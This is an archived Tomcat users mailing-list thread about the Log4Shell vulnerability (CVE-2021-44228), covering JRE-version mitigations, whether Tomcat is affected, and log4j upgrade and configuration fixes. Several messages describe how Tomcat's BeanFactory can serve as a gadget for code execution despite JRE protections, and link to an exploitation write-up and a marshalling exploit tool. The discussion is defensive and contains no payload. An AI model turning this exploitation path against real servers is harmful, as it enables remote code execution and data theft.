> Subject: [External] Re: CVE-2021-44228 Log4j 2 Vulnerability - Runtime vs 
> compile time Java version

> Hi,

> we were affected - we use an AccessLogValve, which logs to Log4j2 and we 
> use Log4j as java.util.logging LogManager. We already patched, but only 
> on Saturday.

> In any case: in a lot of places I saw "recent JRE versions have a 
> mitigation in place", but I can't seem to find which JRE version 
> introduced which mitigation. Can anybody here point me to where I can 
> find that information? Googling for this only seems to bring up 
> everybody's security advisories, but nobody seems to bother to state 
> exact JRE versions.

Our security team stated:

"Certain versions of the Java Development Kit remove the LDAP attack vector, 
but others remain. Versions after these JDKs remove the LDAP vector:
6u211
7u201
8u191
11.0.1"

No doubt you can review the release notes for, e.g., 8u191/192 for further 
clues.

Notwithstanding Mark's notes earlier that updating your JRE may not resolve 
everything.

> Cheers,
> Juri

Thanks,
Tim

RE: CVE-2021-44228 Log4j 2 Vulnerability - Runtime vs compile time Java version

2021-12-13 Thread David Weisgerber

Hi,
our software was also affected but luckily not our Tomcat distribution.
I repeat, no JRE has a sufficient mitigation! You need to update log4j2 or set 
the environment variables. The problem is that through log4j2 you can misuse 
other library functions where the JRE mitigations would not protect you. I must 
repeat, there was a website stating that the presence of tomcat alone would 
open up another attack vector through log4j2.

Best regards,
David

-Original Message-
From: Juri Berlanda  
Sent: Monday, 13 December 2021 16:03
To: users@tomcat.apache.org
Subject: Re: CVE-2021-44228 Log4j 2 Vulnerability - Runtime vs compile time 
Java version

Hi,

we were affected - we use an AccessLogValve, which logs to Log4j2 and we use 
Log4j as java.util.logging LogManager. We already patched, but only on Saturday.

In any case: in a lot of places I saw "recent JRE versions have a mitigation in 
place", but I can't seem to find which JRE version introduced which mitigation. 
Can anybody here point me to where I can find that information? Googling for 
this only seems to bring up everybody's security advisories, but nobody seems 
to bother to state exact JRE versions.

Cheers,

Juri

On 12/13/21 2:13 PM, Christopher Schultz wrote:
> Tim,
>
> Adding to what others have posted...
>
> On 12/13/21 03:57, Scott,Tim wrote:
>> Suspecting that someone here knows the answer immediately, I thought 
>> I’d ask.
>>
>> If you do not know the answer, please don’t spend any time
>> investigating: I’ll do that later today and update everyone whether 
>> or not I find an answer.
>>
>> Our security team advise that “Certain versions of the Java 
>> Development Kit remove the LDAP attack vector”.
>>
>> My question is: Does this removal occur during compile time or runtime?
>
> Runtime. You can even re-enable the vulnerability if you want :)
>
> It's worth repeating what David Weisgerber said in his reply: even if 
> the runtime JDK/JRE provides a mitigation of sorts, you may still be 
> vulnerable through other means (aka "JNDI gadgets").
>
> There is also a risk of information leakage which does NOT rely on the 
> use of LDAP connections.
>
> Your best course of action would be to upgrade log4j if possible, or 
> use one of the several other mitigations available for recent 
> versions. If you aren't running a recent version, RUN ONE.
>
> -chris
>
> -
> To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
> For additional commands, e-mail: users-h...@tomcat.apache.org

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

Re: CVE-2021-44228 Log4j 2 Vulnerability - Runtime vs compile time Java version

2021-12-13 Thread Sebastian Hennebrüder

There have been multiple Patches for RMI and LDAP over time in Java. 

The first article states which attack (from the one the researcher analyzed) 
was possible in which version.

https://www.veracode.com/blog/research/exploiting-jndi-injections-java

https://github.com/mbechler/marshalsec/

If the system is not explicitly configured to allow remote class loading via 
RMI from everywhere, the only successful attack (= run code on the server), I 
found, is leveraging the BeanFactory of Tomcat. The latter is working with any 
recent Tomcat and Java.

I understand Mark’s point that this is  caused by use of log4j and not by 
Tomcat on the other hand it would be way harder to leverage the attack, if the 
BeanFactory could be modified.






> Am 13.12.2021 um 16:03 schrieb Juri Berlanda :
> 
> Hi,
> 
> we were affected - we use an AccessLogValve, which logs to Log4j2 and we use 
> Log4j as java.util.logging LogManager. We already patched, but only on 
> Saturday.
> 
> In any case: in a lot of places I saw "recent JRE versions have a mitigation 
> in place", but I can't seem to find which JRE version introduced which 
> mitigation. Can anybody here point me to where I can find that information? 
> Googling for this only seems to bring up everybody's security advisories, but 
> nobody seems to bother to state exact JRE versions.
> 
> Cheers,
> 
> Juri
> 
> On 12/13/21 2:13 PM, Christopher Schultz wrote:
>> Tim,
>> 
>> Adding to what others have posted...
>> 
>> On 12/13/21 03:57, Scott,Tim wrote:
>>> Suspecting that someone here knows the answer immediately, I thought I’d 
>>> ask.
>>> 
>>> If you do not know the answer, please don’t spend any time investigating: 
>>> I’ll do that later today and update everyone whether or not I find an 
>>> answer.
>>> 
>>> Our security team advise that “Certain versions of the Java Development Kit 
>>> remove the LDAP attack vector”.
>>> 
>>> My question is: Does this removal occur during compile time or runtime?
>> 
>> Runtime. You can even re-enable the vulnerability if you want :)
>> 
>> It's worth repeating what David Weisgerber said in his reply: even if the 
>> runtime JDK/JRE provides a mitigation of sorts, you may still be vulnerable 
>> through other means (aka "JNDI gadgets").
>> 
>> There is also a risk of information leakage which does NOT rely on the use 
>> of LDAP connections.
>> 
>> Your best course of action would be to upgrade log4j if possible, or use one 
>> of the several other mitigations available for recent versions. If you 
>> aren't running a recent version, RUN ONE.
>> 
>> -chris
>> 
>> -
>> To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
>> For additional commands, e-mail: users-h...@tomcat.apache.org
> 
> -
> To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
> For additional commands, e-mail: users-h...@tomcat.apache.org
> 


-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

Re: CVE-2021-44228 Log4j 2 Vulnerability - Runtime vs compile time Java version

2021-12-13 Thread Juri Berlanda


Hi,

we were affected - we use an AccessLogValve, which logs to Log4j2 and we 
use Log4j as java.util.logging LogManager. We already patched, but only 
on Saturday.


In any case: in a lot of places I saw "recent JRE versions have a 
mitigation in place", but I can't seem to find which JRE version 
introduced which mitigation. Can anybody here point me to where I can 
find that information? Googling for this only seems to bring up 
everybody's security advisories, but nobody seems to bother to state 
exact JRE versions.


Cheers,

Juri

On 12/13/21 2:13 PM, Christopher Schultz wrote:

Tim,

Adding to what others have posted...

On 12/13/21 03:57, Scott,Tim wrote:
Suspecting that someone here knows the answer immediately, I thought 
I’d ask.


If you do not know the answer, please don’t spend any time 
investigating: I’ll do that later today and update everyone whether 
or not I find an answer.


Our security team advise that “Certain versions of the Java 
Development Kit remove the LDAP attack vector”.


My question is: Does this removal occur during compile time or runtime?


Runtime. You can even re-enable the vulnerability if you want :)

It's worth repeating what David Weisgerber said in his reply: even if 
the runtime JDK/JRE provides a mitigation of sorts, you may still be 
vulnerable through other means (aka "JNDI gadgets").


There is also a risk of information leakage which does NOT rely on the 
use of LDAP connections.


Your best course of action would be to upgrade log4j if possible, or 
use one of the several other mitigations available for recent 
versions. If you aren't running a recent version, RUN ONE.


-chris

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org


-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

RE: [External] Re: CVE-2021-44228 Log4j 2 Vulnerability - Runtime vs compile time Java version

2021-12-13 Thread Scott,Tim

HI Mark,

Thank you. That clarifies something I was not quite getting.

Surely setting a system property “log4j2.formatMsgNoLookups” does not require a 
particular JRE version?
And no, it doesn’t.

Yes – we’d need to upgrade log4j2 and/or add that parameter. Whilst the JRE 
version might deliver some protection, it’s not everything.

Thanks,
Tim

--
Tim Scott
OCLC · Senior Software Engineer / Technical Product Manager

cc: Product Management file

OCLC COVID-19 resources: 
oc.lc/covid19-service-info<https://oc.lc/covid19-service-info>

From: Mark Thomas 
Sent: 13 December 2021 09:36
To: users@tomcat.apache.org
Subject: [External] Re: CVE-2021-44228 Log4j 2 Vulnerability - Runtime vs 
compile time Java version

On 13/12/2021 09:21, David Weisgerber wrote:
> Hi,
> as far as I read through the details, it is a runtime option of the JRE. So, 
> it does not need any recompilation.
> However, some websites pointed out that if you are using Tomcat you could 
> bypass the JRE protection.

Correct, it is the runtime version of the JRE that matters.

It is also correct that using the latest JDK is *not* sufficient to
protect against this issue.

Depending on what classes are on the class path, it may be possible to
trigger an LDAP call to a malicious LDAP server that, with a specially
crafted response, can trigger code execution. Tomcat includes at least
one such collection of classes by default so you should *not* rely on
just updating the JRE.

You need to update log4j2 to a version that disables JNDI lookups by
default or ensure you are using a sufficiently recent version of log4j2
that has the option to disable JNDI lookups and ensure that you have
configured it so JNDI lookups are disabled.

It is pretty much a certainty that there will be other combinations of
libraries that this exploit can leverage so, whether you are running on
Tomcat or not, my recommendation would be to ensure that you address
this issue with the log4j2 update or configuration.

Mark

>
> Best regards,
> David
>
> From: Scott,Tim mailto:tim.sc...@oclc.org>>
> Sent: Monday, 13 December 2021 09:57
> To: users@tomcat.apache.org<mailto:users@tomcat.apache.org>
> Subject: CVE-2021-44228 Log4j 2 Vulnerability - Runtime vs compile time Java 
> version
>
> Hi all,
>
> Suspecting that someone here knows the answer immediately, I thought I’d ask.
>
> If you do not know the answer, please don’t spend any time investigating: 
> I’ll do that later today and update everyone whether or not I find an answer.
>
> Our security team advise that “Certain versions of the Java Development Kit 
> remove the LDAP attack vector”.
>
> My question is: Does this removal occur during compile time or runtime?
>
> i.e.: Do we need to build the .war file with a JDK which removes the LDAP 
> attack vector, or is it sufficient to deploy the Tomcat with a JDK which does 
> this?
>
> Thank you,
> Tim
>
> --
>
> Tim Scott
>
> OCLC · Senior Software Engineer / Technical Product Manager
>
> CityGate, 8 St. Mary’s Gate, Sheffield S1 4LW, UK
>
>
> cc: Product Management file
>
>
> OCLC COVID-19 resources: 
> oc.lc/covid19-service-info<http://oc.lc/covid19-service-info><https://oc.lc/covid19-service-info<https://oc.lc/covid19-service-info>>
> [COVID-19: We’re in this 
> together]<https://www.oclc.org/en/covid-19.html?utm_campaign=covid-19-support_medium=email_source=libraryservices_content=signature-banner-covid-19-information-resources<https://www.oclc.org/en/covid-19.html?utm_campaign=covid-19-support_medium=email_source=libraryservices_content=signature-banner-covid-19-information-resources>>
>

-
To unsubscribe, e-mail: 
users-unsubscr...@tomcat.apache.org<mailto:users-unsubscr...@tomcat.apache.org>
For additional commands, e-mail: 
users-h...@tomcat.apache.org<mailto:users-h...@tomcat.apache.org>

Re: CVE-2021-44228 Log4j 2 Vulnerability - Runtime vs compile time Java version


Tim,

Adding to what others have posted...

On 12/13/21 03:57, Scott,Tim wrote:
Suspecting that someone here knows the answer immediately, I thought I’d 
ask.


If you do not know the answer, please don’t spend any time 
investigating: I’ll do that later today and update everyone whether or 
not I find an answer.


Our security team advise that “Certain versions of the Java Development 
Kit remove the LDAP attack vector”.


My question is: Does this removal occur during compile time or runtime?


Runtime. You can even re-enable the vulnerability if you want :)

It's worth repeating what David Weisgerber said in his reply: even if 
the runtime JDK/JRE provides a mitigation of sorts, you may still be 
vulnerable through other means (aka "JNDI gadgets").


There is also a risk of information leakage which does NOT rely on the 
use of LDAP connections.


Your best course of action would be to upgrade log4j if possible, or use 
one of the several other mitigations available for recent versions. If 
you aren't running a recent version, RUN ONE.


-chris

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

Re: CVE-2021-44228 Log4j 2 Vulnerability -- How does this affect Tomcat?

2021-12-13 Thread Mark Thomas


On 13/12/2021 07:41, Saurav Sarkar wrote:

Hi All,

How does tomcat access valves/logs work ?


This is open source. You can look at the source code.


Since it prints the whole URL , will it be any issue if the access logs are
using Log4j2 implementation?


Again (with a minor update to the log4j 1.x information).

Currently supported Tomcat versions (8.5.x, 9.0.x, 10.0.x and 10.1.x) 
have no dependency on log4j.


Applications may have a dependency on log4j. You should seek support 
from your application vendors on how best to address this vulnerability 
although disabling the vulnerable feature is likely to be the simplest 
solution.


Tomcat 8.0.x and earlier as well as the first few releases of 8.5.x 
provided optional support for switching Tomcat's internal logging to 
log4j 1.x. Anyone one using these very old (5+ years), unsupported 
versions that switched to using log4j 1.x is may need to address this 
vulnerability as log4j 1.x is affected in some (probably rarely used) 
configurations. Regardless, they'll need to address the Tomcat 
vulnerabilities that have been made public in those 5+ years.


It is possible to configure Tomcat to use log4j 2.x for its internal 
logging. This requires explicit configuration and the addition of the 
log4j 2.x library. Anyone who has switched Tomcat's internal logging to 
log4j 2.x is likely to need to address this vulnerability. Again, 
disabling the vulnerable feature is likely to be the simplest solution.


As Jon McAlexander has pointed out, adding the following to 
CATALINA_OPTS in setenv.sh / setenv.bat will disable the problematic feature


-Dlog4j2.formatMsgNoLookups=true

provided you are using a sufficiently recent version of log4j 2.x that 
supports that configuration option.


Mark





Best Regards,
Saurav

On Sun, Dec 12, 2021 at 7:32 PM Christopher Schultz <
ch...@christopherschultz.net> wrote:


Mark,

On 12/11/21 18:39, Mark Thomas wrote:

On 11/12/2021 22:04, Sebastian Hennebrüder wrote:

Hi all,

I reproduced the attack against Tomcat 9.0.56 with latest Java 8 and
Java 11. Actually the Java path version is not relevant.


Utter nonsense. Tomcat is not vulnerable to this attack.


It is possible with a deployed Tomcat 9 and Spring Boot with Tomcat
embedded.


The above statement fails to make clear that it is only true if a number
of of pre-conditions are also true.

The Spring team have a blog that describes the vulnerable configurations
and provides several possible workarounds:

https://spring.io/blog/2021/12/10/log4j2-vulnerability-and-spring-boot


If your server can reach arbitrary servers on the Internet, you can
execute random code in the shell.


The above statement fails to make clear that it is only true if a number
of of pre-conditions are also true.


The attack is not using RMI remote class loading but uses Tomcats
BeanFactory to create an ELExpression library. As the BeanFactory has
features to manipulate instantiated classes, it can inject a Script.
In plain Java application this would still be blocked by RMI class
loading but Tomcat circumvents this.


More mis-leading nonsense attempting to suggest that Tomcat is
vulnerable. It isn't.


The attack is explained in 2019 by
https://www.veracode.com/blog/research/exploiting-jndi-injections-java


What the authors of that blog make clear, but appears to have been
completely ignored by the person posting to this list is nicely summed
up at the end of the article:


The actual problem here is not within the JDK or Apache Tomcat library,
but rather in custom applications that pass user-controllable data to
the "InitialContext.lookup()" function, as it still represents a
security risk even in fully patched JDK installations.


Any application that takes any user provided data and uses it without
performing any validation and/or sanitization - particularly if that
data is then used to construct a request to an external service - is
probably going to create a security vulnerability in the application.


+1

*This* is what makes the log4j vulnerability such a problem: it takes
something that should be allowed to be untrustworthy (raw user input)
and turns it into logic signalling.

It is very easy to write an application that contains vulnerabilities.
Those vulnerabilities are NOT vulnerabilities in the hosting service, etc.

Anyone running a reasonably recent version of Java should *not* be
subject to RCE. Exfiltration of data available through JNDI (which /may/
be very interesting to attackers) is much more likely and much more
difficult to mitigate without either upgrading log4j or applying log4j's
mitigations (system property or format-modifier).

-chris

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org







-
To unsubscribe, e-mail: users-unsubscr...@t

Re: CVE-2021-44228 Log4j 2 Vulnerability - Runtime vs compile time Java version

2021-12-13 Thread Mark Thomas


On 13/12/2021 09:21, David Weisgerber wrote:

Hi,
as far as I read through the details, it is a runtime option of the JRE. So, it 
does not need any recompilation.
However, some websites pointed out that if you are using Tomcat you could 
bypass the JRE protection.


Correct, it is the runtime version of the JRE that matters.

It is also correct that using the latest JDK is *not* sufficient to 
protect against this issue.


Depending on what classes are on the class path, it may be possible to 
trigger an LDAP call to a malicious LDAP server that, with a specially 
crafted response, can trigger code execution. Tomcat includes at least 
one such collection of classes by default so you should *not* rely on 
just updating the JRE.


You need to update log4j2 to a version that disables JNDI lookups by 
default or ensure you are using a sufficiently recent version of log4j2 
that has the option to disable JNDI lookups and ensure that you have 
configured it so JNDI lookups are disabled.


It is pretty much a certainty that there will be other combinations of 
libraries that this exploit can leverage so, whether you are running on 
Tomcat or not, my recommendation would be to ensure that you address 
this issue with the log4j2 update or configuration.


Mark




Best regards,
David

From: Scott,Tim 
Sent: Monday, 13 December 2021 09:57
To: users@tomcat.apache.org
Subject: CVE-2021-44228 Log4j 2 Vulnerability - Runtime vs compile time Java 
version

Hi all,

Suspecting that someone here knows the answer immediately, I thought I’d ask.

If you do not know the answer, please don’t spend any time investigating: I’ll 
do that later today and update everyone whether or not I find an answer.

Our security team advise that “Certain versions of the Java Development Kit 
remove the LDAP attack vector”.

My question is: Does this removal occur during compile time or runtime?

i.e.: Do we need to build the .war file with a JDK which removes the LDAP 
attack vector, or is it sufficient to deploy the Tomcat with a JDK which does 
this?

Thank you,
Tim

--

Tim Scott

OCLC · Senior Software Engineer / Technical Product Manager

CityGate, 8 St. Mary’s Gate, Sheffield S1 4LW, UK


cc: Product Management file


OCLC COVID-19 resources: 
oc.lc/covid19-service-info<https://oc.lc/covid19-service-info>
[COVID-19: We’re in this 
together]<https://www.oclc.org/en/covid-19.html?utm_campaign=covid-19-support_medium=email_source=libraryservices_content=signature-banner-covid-19-information-resources>




-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

RE: CVE-2021-44228 Log4j 2 Vulnerability - Runtime vs compile time Java version

2021-12-13 Thread David Weisgerber

Hi,
as far as I read through the details, it is a runtime option of the JRE. So, it 
does not need any recompilation.
However, some websites pointed out that if you are using Tomcat you could 
bypass the JRE protection.

Best regards,
David

From: Scott,Tim 
Sent: Monday, 13 December 2021 09:57
To: users@tomcat.apache.org
Subject: CVE-2021-44228 Log4j 2 Vulnerability - Runtime vs compile time Java 
version

Hi all,

Suspecting that someone here knows the answer immediately, I thought I’d ask.

If you do not know the answer, please don’t spend any time investigating: I’ll 
do that later today and update everyone whether or not I find an answer.

Our security team advise that “Certain versions of the Java Development Kit 
remove the LDAP attack vector”.

My question is: Does this removal occur during compile time or runtime?

i.e.: Do we need to build the .war file with a JDK which removes the LDAP 
attack vector, or is it sufficient to deploy the Tomcat with a JDK which does 
this?

Thank you,
Tim

--

Tim Scott

OCLC · Senior Software Engineer / Technical Product Manager

CityGate, 8 St. Mary’s Gate, Sheffield S1 4LW, UK


cc: Product Management file


OCLC COVID-19 resources: 
oc.lc/covid19-service-info<https://oc.lc/covid19-service-info>
[COVID-19: We’re in this 
together]<https://www.oclc.org/en/covid-19.html?utm_campaign=covid-19-support_medium=email_source=libraryservices_content=signature-banner-covid-19-information-resources>

CVE-2021-44228 Log4j 2 Vulnerability - Runtime vs compile time Java version

2021-12-13 Thread Scott,Tim

Hi all,

Suspecting that someone here knows the answer immediately, I thought I'd ask.

If you do not know the answer, please don't spend any time investigating: I'll 
do that later today and update everyone whether or not I find an answer.

Our security team advise that "Certain versions of the Java Development Kit 
remove the LDAP attack vector".

My question is: Does this removal occur during compile time or runtime?

i.e.: Do we need to build the .war file with a JDK which removes the LDAP 
attack vector, or is it sufficient to deploy the Tomcat with a JDK which does 
this?

Thank you,
Tim

--
Tim Scott
OCLC * Senior Software Engineer / Technical Product Manager
CityGate, 8 St. Mary's Gate, Sheffield S1 4LW, UK

cc: Product Management file

OCLC COVID-19 resources: 
oc.lc/covid19-service-info
[COVID-19: We're in this 
together]

Re: CVE-2021-44228 Log4j 2 Vulnerability -- How does this affect Tomcat?

2021-12-12 Thread Saurav Sarkar

Hi All,

How does tomcat access valves/logs work ?

Since it prints the whole URL , will it be any issue if the access logs are
using Log4j2 implementation?

Best Regards,
Saurav

On Sun, Dec 12, 2021 at 7:32 PM Christopher Schultz <
ch...@christopherschultz.net> wrote:

> Mark,
>
> On 12/11/21 18:39, Mark Thomas wrote:
> > On 11/12/2021 22:04, Sebastian Hennebrüder wrote:
> >> Hi all,
> >>
> >> I reproduced the attack against Tomcat 9.0.56 with latest Java 8 and
> >> Java 11. Actually the Java path version is not relevant.
> >
> > Utter nonsense. Tomcat is not vulnerable to this attack.
> >
> >> It is possible with a deployed Tomcat 9 and Spring Boot with Tomcat
> >> embedded.
> >
> > The above statement fails to make clear that it is only true if a number
> > of of pre-conditions are also true.
> >
> > The Spring team have a blog that describes the vulnerable configurations
> > and provides several possible workarounds:
> >
> > https://spring.io/blog/2021/12/10/log4j2-vulnerability-and-spring-boot
> >
> >> If your server can reach arbitrary servers on the Internet, you can
> >> execute random code in the shell.
> >
> > The above statement fails to make clear that it is only true if a number
> > of of pre-conditions are also true.
> >
> >> The attack is not using RMI remote class loading but uses Tomcats
> >> BeanFactory to create an ELExpression library. As the BeanFactory has
> >> features to manipulate instantiated classes, it can inject a Script.
> >> In plain Java application this would still be blocked by RMI class
> >> loading but Tomcat circumvents this.
> >
> > More mis-leading nonsense attempting to suggest that Tomcat is
> > vulnerable. It isn't.
> >
> >> The attack is explained in 2019 by
> >> https://www.veracode.com/blog/research/exploiting-jndi-injections-java
> >
> > What the authors of that blog make clear, but appears to have been
> > completely ignored by the person posting to this list is nicely summed
> > up at the end of the article:
> >
> > 
> > The actual problem here is not within the JDK or Apache Tomcat library,
> > but rather in custom applications that pass user-controllable data to
> > the "InitialContext.lookup()" function, as it still represents a
> > security risk even in fully patched JDK installations.
> > 
> >
> > Any application that takes any user provided data and uses it without
> > performing any validation and/or sanitization - particularly if that
> > data is then used to construct a request to an external service - is
> > probably going to create a security vulnerability in the application.
>
> +1
>
> *This* is what makes the log4j vulnerability such a problem: it takes
> something that should be allowed to be untrustworthy (raw user input)
> and turns it into logic signalling.
>
> It is very easy to write an application that contains vulnerabilities.
> Those vulnerabilities are NOT vulnerabilities in the hosting service, etc.
>
> Anyone running a reasonably recent version of Java should *not* be
> subject to RCE. Exfiltration of data available through JNDI (which /may/
> be very interesting to attackers) is much more likely and much more
> difficult to mitigate without either upgrading log4j or applying log4j's
> mitigations (system property or format-modifier).
>
> -chris
>
> -
> To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
> For additional commands, e-mail: users-h...@tomcat.apache.org
>
>

Re: CVE-2021-44228 Log4j 2 Vulnerability -- How does this affect Tomcat?

2021-12-12 Thread Christopher Schultz


Mark,

On 12/11/21 18:39, Mark Thomas wrote:

On 11/12/2021 22:04, Sebastian Hennebrüder wrote:

Hi all,

I reproduced the attack against Tomcat 9.0.56 with latest Java 8 and 
Java 11. Actually the Java path version is not relevant.


Utter nonsense. Tomcat is not vulnerable to this attack.

It is possible with a deployed Tomcat 9 and Spring Boot with Tomcat 
embedded.


The above statement fails to make clear that it is only true if a number 
of of pre-conditions are also true.


The Spring team have a blog that describes the vulnerable configurations 
and provides several possible workarounds:


https://spring.io/blog/2021/12/10/log4j2-vulnerability-and-spring-boot

If your server can reach arbitrary servers on the Internet, you can 
execute random code in the shell.


The above statement fails to make clear that it is only true if a number 
of of pre-conditions are also true.


The attack is not using RMI remote class loading but uses Tomcats 
BeanFactory to create an ELExpression library. As the BeanFactory has 
features to manipulate instantiated classes, it can inject a Script. 
In plain Java application this would still be blocked by RMI class 
loading but Tomcat circumvents this.


More mis-leading nonsense attempting to suggest that Tomcat is 
vulnerable. It isn't.


The attack is explained in 2019 by 
https://www.veracode.com/blog/research/exploiting-jndi-injections-java


What the authors of that blog make clear, but appears to have been 
completely ignored by the person posting to this list is nicely summed 
up at the end of the article:



The actual problem here is not within the JDK or Apache Tomcat library, 
but rather in custom applications that pass user-controllable data to 
the "InitialContext.lookup()" function, as it still represents a 
security risk even in fully patched JDK installations.



Any application that takes any user provided data and uses it without 
performing any validation and/or sanitization - particularly if that 
data is then used to construct a request to an external service - is 
probably going to create a security vulnerability in the application.


+1

*This* is what makes the log4j vulnerability such a problem: it takes 
something that should be allowed to be untrustworthy (raw user input) 
and turns it into logic signalling.


It is very easy to write an application that contains vulnerabilities. 
Those vulnerabilities are NOT vulnerabilities in the hosting service, etc.


Anyone running a reasonably recent version of Java should *not* be 
subject to RCE. Exfiltration of data available through JNDI (which /may/ 
be very interesting to attackers) is much more likely and much more 
difficult to mitigate without either upgrading log4j or applying log4j's 
mitigations (system property or format-modifier).


-chris

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

Re: CVE-2021-44228 Log4j 2 Vulnerability -- How does this affect Tomcat?

2021-12-11 Thread Rémy Maucherat

On Sat, Dec 11, 2021 at 11:05 PM Sebastian Hennebrüder
 wrote:
>
> Hi all,
>
> I reproduced the attack against Tomcat 9.0.56 with latest Java 8 and Java 11. 
> Actually the Java path version is not relevant.
>
> It is possible with a deployed Tomcat 9 and Spring Boot with Tomcat embedded.
>
> If your server can reach arbitrary servers on the Internet, you can execute 
> random code in the shell.
>
> The attack is not using RMI remote class loading but uses Tomcats BeanFactory 
> to create an ELExpression library. As the BeanFactory has features to 
> manipulate instantiated classes, it can inject a Script. In plain Java 
> application this would still be blocked by RMI class loading but Tomcat 
> circumvents this.
>
> The attack is explained in 2019 by 
> https://www.veracode.com/blog/research/exploiting-jndi-injections-java

Also, another person already thought about digging this up (even
before we were aware of the log4j problem):
https://bz.apache.org/bugzilla/show_bug.cgi?id=65736

Rémy

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

Re: CVE-2021-44228 Log4j 2 Vulnerability -- How does this affect Tomcat?

2021-12-11 Thread Mark Thomas


On 11/12/2021 22:04, Sebastian Hennebrüder wrote:

Hi all,

I reproduced the attack against Tomcat 9.0.56 with latest Java 8 and Java 11. 
Actually the Java path version is not relevant.


Utter nonsense. Tomcat is not vulnerable to this attack.


It is possible with a deployed Tomcat 9 and Spring Boot with Tomcat embedded.


The above statement fails to make clear that it is only true if a number 
of of pre-conditions are also true.


The Spring team have a blog that describes the vulnerable configurations 
and provides several possible workarounds:


https://spring.io/blog/2021/12/10/log4j2-vulnerability-and-spring-boot


If your server can reach arbitrary servers on the Internet, you can execute 
random code in the shell.


The above statement fails to make clear that it is only true if a number 
of of pre-conditions are also true.



The attack is not using RMI remote class loading but uses Tomcats BeanFactory 
to create an ELExpression library. As the BeanFactory has features to 
manipulate instantiated classes, it can inject a Script. In plain Java 
application this would still be blocked by RMI class loading but Tomcat 
circumvents this.


More mis-leading nonsense attempting to suggest that Tomcat is 
vulnerable. It isn't.



The attack is explained in 2019 by 
https://www.veracode.com/blog/research/exploiting-jndi-injections-java


What the authors of that blog make clear, but appears to have been 
completely ignored by the person posting to this list is nicely summed 
up at the end of the article:



The actual problem here is not within the JDK or Apache Tomcat library, 
but rather in custom applications that pass user-controllable data to 
the "InitialContext.lookup()" function, as it still represents a 
security risk even in fully patched JDK installations.



Any application that takes any user provided data and uses it without 
performing any validation and/or sanitization - particularly if that 
data is then used to construct a request to an external service - is 
probably going to create a security vulnerability in the application.


Mark

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

Re: CVE-2021-44228 Log4j 2 Vulnerability -- How does this affect Tomcat?

To be more precise. It depends on how you configure log4j. By default Spring 
boot installs 

org.apache.logging.log4j
log4j-to-slf4j


In that case the default NullConfiguration of Log4j is not executed and the 
JNDI lookup is not configured.

The chance to be impacted is smaller.

> Am 11.12.2021 um 23:35 schrieb Sebastian Hennebrüder :
> 
> Correction for Spring Boot with embedded Tomcat
> 
> The attack does not work by default.
> 
>> Am 11.12.2021 um 23:04 schrieb Sebastian Hennebrüder :
>> 
>> Hi all,
>> 
>> I reproduced the attack against Tomcat 9.0.56 with latest Java 8 and Java 
>> 11. Actually the Java path version is not relevant. 
>> 
>> It is possible with a deployed Tomcat 9 and Spring Boot with Tomcat embedded.
>> 
>> If your server can reach arbitrary servers on the Internet, you can execute 
>> random code in the shell.
>> 
>> The attack is not using RMI remote class loading but uses Tomcats 
>> BeanFactory to create an ELExpression library. As the BeanFactory has 
>> features to manipulate instantiated classes, it can inject a Script. In 
>> plain Java application this would still be blocked by RMI class loading but 
>> Tomcat circumvents this.
>> 
>> The attack is explained in 2019 by 
>> https://www.veracode.com/blog/research/exploiting-jndi-injections-java
>> 
>> 
>> Cheers 
>> 
>> Sebastian
> 
> 
> -
> To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
> For additional commands, e-mail: users-h...@tomcat.apache.org
>

Re: CVE-2021-44228 Log4j 2 Vulnerability -- How does this affect Tomcat?



> Am 11.12.2021 um 23:54 schrieb Aryeh Friedman :
> 
> On Sat, Dec 11, 2021 at 5:11 PM Sebastian Hennebrüder 
> wrote:
> 
>> Hi all,
>> 
>> I reproduced the attack against Tomcat 9.0.56 with latest Java 8 and Java
>> 11. Actually the Java path version is not relevant.
>> 
>> It is possible with a deployed Tomcat 9 and Spring Boot with Tomcat
>> embedded.
>> 
> 
> Does this affect pre-2.x log4j's? (I am using tomcat 9.0.35 with log4j
> 1.2.17)
> 
> 
> -- 
> Aryeh M. Friedman, Lead Developer, http://www.PetiteCloud.org

I did not validate this but it requires JNDI lookup, so following 
https://logging.apache.org/log4j/2.x/security.html 
<https://logging.apache.org/log4j/2.x/security.html> it is not affected.

Re: CVE-2021-44228 Log4j 2 Vulnerability -- How does this affect Tomcat?

2021-12-11 Thread Aryeh Friedman

On Sat, Dec 11, 2021 at 5:11 PM Sebastian Hennebrüder 
wrote:

> Hi all,
>
> I reproduced the attack against Tomcat 9.0.56 with latest Java 8 and Java
> 11. Actually the Java path version is not relevant.
>
> It is possible with a deployed Tomcat 9 and Spring Boot with Tomcat
> embedded.
>

Does this affect pre-2.x log4j's? (I am using tomcat 9.0.35 with log4j
1.2.17)

-- 
Aryeh M. Friedman, Lead Developer, http://www.PetiteCloud.org

Re: CVE-2021-44228 Log4j 2 Vulnerability -- How does this affect Tomcat?

Correction for Spring Boot with embedded Tomcat

The attack does not work by default.

> Am 11.12.2021 um 23:04 schrieb Sebastian Hennebrüder :
> 
> Hi all,
> 
> I reproduced the attack against Tomcat 9.0.56 with latest Java 8 and Java 11. 
> Actually the Java path version is not relevant. 
> 
> It is possible with a deployed Tomcat 9 and Spring Boot with Tomcat embedded.
> 
